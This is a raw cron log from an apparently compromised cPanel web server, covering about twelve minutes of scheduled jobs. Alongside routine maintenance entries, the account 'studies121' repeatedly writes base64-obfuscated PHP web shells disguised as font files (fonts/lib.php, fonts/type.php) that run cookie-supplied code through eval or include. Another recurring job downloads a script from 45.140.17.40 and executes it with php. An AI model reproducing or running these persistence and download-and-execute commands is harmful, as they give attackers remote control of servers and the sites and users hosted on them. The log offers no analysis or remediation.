Sep  2 08:23:01 ip-184-168-122-23 CROND[13189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:23:01 ip-184-168-122-23 CROND[13190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:24:01 ip-184-168-122-23 CROND[13282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:24:01 ip-184-168-122-23 CROND[13285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:24:01 ip-184-168-122-23 CROND[13288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:24:01 ip-184-168-122-23 CROND[13289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:24:01 ip-184-168-122-23 CROND[13290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:25:01 ip-184-168-122-23 CROND[13402]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 08:25:01 ip-184-168-122-23 CROND[13404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:25:01 ip-184-168-122-23 CROND[13405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:25:01 ip-184-168-122-23 CROND[13406]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:25:01 ip-184-168-122-23 CROND[13407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:25:01 ip-184-168-122-23 CROND[13409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:25:01 ip-184-168-122-23 CROND[13410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:26:01 ip-184-168-122-23 CROND[13504]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  2 08:26:01 ip-184-168-122-23 CROND[13505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:26:01 ip-184-168-122-23 CROND[13506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:26:01 ip-184-168-122-23 CROND[13509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:26:01 ip-184-168-122-23 CROND[13508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:26:01 ip-184-168-122-23 CROND[13507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  2 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  2 08:27:01 ip-184-168-122-23 CROND[13703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:27:01 ip-184-168-122-23 CROND[13706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:27:01 ip-184-168-122-23 CROND[13705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:27:01 ip-184-168-122-23 CROND[13707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:28:01 ip-184-168-122-23 CROND[13891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:28:01 ip-184-168-122-23 CROND[13890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:28:01 ip-184-168-122-23 CROND[13893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:28:01 ip-184-168-122-23 CROND[13897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:28:01 ip-184-168-122-23 CROND[13898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:29:01 ip-184-168-122-23 CROND[14002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:29:01 ip-184-168-122-23 CROND[14003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:29:01 ip-184-168-122-23 CROND[14001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:29:01 ip-184-168-122-23 CROND[14004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:30:01 ip-184-168-122-23 CROND[14166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:30:01 ip-184-168-122-23 CROND[14170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:30:01 ip-184-168-122-23 CROND[14173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:30:01 ip-184-168-122-23 CROND[14175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:30:01 ip-184-168-122-23 CROND[14172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:30:01 ip-184-168-122-23 CROND[14176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:30:01 ip-184-168-122-23 CROND[14174]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 08:30:01 ip-184-168-122-23 CROND[14177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:30:01 ip-184-168-122-23 CROND[14179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:31:01 ip-184-168-122-23 CROND[14293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:31:01 ip-184-168-122-23 CROND[14294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:31:01 ip-184-168-122-23 CROND[14296]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 08:31:01 ip-184-168-122-23 CROND[14295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:31:01 ip-184-168-122-23 CROND[14298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:32:01 ip-184-168-122-23 CROND[14394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:32:01 ip-184-168-122-23 CROND[14397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:32:01 ip-184-168-122-23 CROND[14395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:32:01 ip-184-168-122-23 CROND[14398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:32:01 ip-184-168-122-23 CROND[14396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:33:01 ip-184-168-122-23 CROND[14605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:33:01 ip-184-168-122-23 CROND[14604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:33:01 ip-184-168-122-23 CROND[14606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:33:01 ip-184-168-122-23 CROND[14603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:34:01 ip-184-168-122-23 CROND[14706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:34:01 ip-184-168-122-23 CROND[14708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:34:01 ip-184-168-122-23 CROND[14710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:34:01 ip-184-168-122-23 CROND[14709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:34:01 ip-184-168-122-23 CROND[14711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:35:01 ip-184-168-122-23 CROND[14829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:35:01 ip-184-168-122-23 CROND[14834]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 08:35:01 ip-184-168-122-23 CROND[14831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:35:01 ip-184-168-122-23 CROND[14832]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
